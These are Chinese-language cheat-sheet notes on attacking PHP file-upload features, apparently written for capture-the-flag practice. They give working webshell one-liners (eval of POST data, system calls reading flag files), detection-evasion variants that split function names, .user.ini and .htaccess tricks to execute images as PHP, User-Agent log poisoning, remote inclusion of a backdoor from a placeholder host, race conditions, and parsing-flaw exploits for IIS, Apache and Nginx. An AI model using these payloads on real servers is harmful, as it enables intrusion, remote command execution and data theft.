文件上传
php后门一句话代码
// <?php eval($_POST[x]);?>
使用密令执行(linux)
x=system("ls");
x=system("tac ../flag.php");
1.前端校验
(1)查看前端代码是否对上传功能存在过滤
修改前端校验代码
MIME验证
Content-Type:
修改数据包内的文件类型
3.user.ini
条件:需要网站配置指向文件里调用user.ini
上传.user.ini文件
nginx里可使用
1.auto_append_file
2.auto_prepend_file=上传的文件名
上传于user.ini中包含的文件名一致的后门文件
user.ini文件包含
nginx里可使用
内容过滤
逐步测试过滤内容替换绕过
<?echo '123';?> //需要修改参数开关
<%echo '123';%> //需要修改参数开关
<?=eval($_POST['x']);?> //不需要修改参数开关
<script language="php">echo '1';</script> //不需要修改参数开关
[]=>{}
//读取文件后门
<?=system('tac ../fl*')?>
//反引号运算符读取文件后门
<?=`tac ../fl*`?>
包含默认日志,日志记录UA头,UA头写后门代码
搜索中间件的默认日志文件路径尝试包含
包含代码使用.user.ini 或 .htaccess 包含后门文件后门文件包含日志文件
在UA头内写入后门代码
nginx默认路径:/var/log/nginx/access.log
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
文件头检测绕过
在上传文件第一行写入文件头
如:GF89a/
4.php特性
绕过技巧
多后缀解析
php5/Php/
5.二次渲染
判定方式:1.判断上传前后文件大小内容。2.上传后的文件数据返回数据包内容
上传图像后会对图像进行二次修改
将后门代码插入到没有修改的图片共同体中(可能需要多次尝试才能成功)
G:\sofl\balckApp\32-二次渲染脚本&C32ASM等
6..htaccess文件包含
Apache里使用
上传.htaccess文件
内容:
//将.png后缀名文件当成php文件执行
AddType application/x-httpd-php .png
上传.png后缀后门文件
7.变异免杀
当上传后门代码被检测删除后
可使用变量绕过过滤关键字system
后门面杀代码例
<?php $a='syste'.'m';$a('tac ../flag.php');?>
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flag.php');?>
8.远程包含
.user.ini包含上传文件,上传文件内写入包含远程地址 远程地址文件带有后门
文件名.user.ini
内容 auto_prepend_file=png
后门.png文件内容
<?=include'http://xxx.com'?>
远程服务器访问指向文件内容
// <?php eval($_POST[x]);?>
如有过滤可尝试将url转数字
https://www.bejson.com/convert/ip2int/
上传后门自动删除(什么都删除/只删除后门代码文件)
1.条件竞争
在系统删除前运行到后门文件
2.使用.user.ini远程包含后门文件
auto_prepend_file=http://xxxx.com
.user.ini包含日志文件(严格过滤)
当访问文件上传目录时403 无索引
利用条件:可上传php后缀文件
1.上传index.php
2.上传.user.ini包含日志文件
auto_prepend_file=/var/log/nginx/access.log
3.数据包UA头写入后门代码 <?=eval($_POST{x});?>
解析漏洞文件上传IIS/Apache/Nginx
iis: 6
文件名下x.asp;x.jpg -》当成脚本文件执行
iis: 7.5
目录名 文件夹名.asp/文件.jpg -》当成脚本文文件执行
iis7.x于nginx解析漏洞一致
apache
CVE-2017-15715 HTTPD 换行解析漏洞 2.4.0~2.4.29版本
在上传后门文件时在在后缀名后加一个空格在在Hex中将空格改为0a
干扰黑名单验证实现绕过
在通过抓包访问上传文件地址在文件后缀加上%0a
HTTPD 多后缀解析 配置不当 文件名以本地上传为主
上传多后缀名文件如
1.php.png
访问文件路径被当成后门执行
Nginx 文件名逻辑漏洞
CVE-2013-4547
版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7
上传一个带有后门的文件上去后缀加一个空格
在抓包访问时在后缀名后面加上两个空格和后门脚本执行后缀.php
在在Hex中将后缀第二个空格改为00
Nginx 解析漏洞
Nginx 1.x 版本
PHP 7.x 版本
上传一个带后门文件
访问时在后缀名后加/xxx.php
文件被当成后门语言文件执行